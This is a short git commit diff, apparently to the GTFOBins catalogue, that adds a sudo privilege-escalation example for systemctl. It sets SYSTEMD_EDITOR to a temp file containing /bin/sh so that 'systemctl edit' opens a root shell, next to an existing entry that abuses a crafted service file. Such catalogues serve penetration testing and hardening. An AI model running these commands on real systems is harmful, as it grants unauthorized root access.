Add systemctl example using SYSTEMD_EDITOR

Close #65.
This commit is contained in:
Miles Whittaker 2019-07-02 18:14:29 +02:00 committed by Andrea Cardaci
parent 66655322f3
commit aa08187718

View File

@ -11,6 +11,11 @@ functions:
./systemctl link $TF ./systemctl link $TF
./systemctl enable --now $TF ./systemctl enable --now $TF
sudo: sudo:
- code: |
TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
- code: | - code: |
TF=$(mktemp).service TF=$(mktemp).service
echo '[Service] echo '[Service]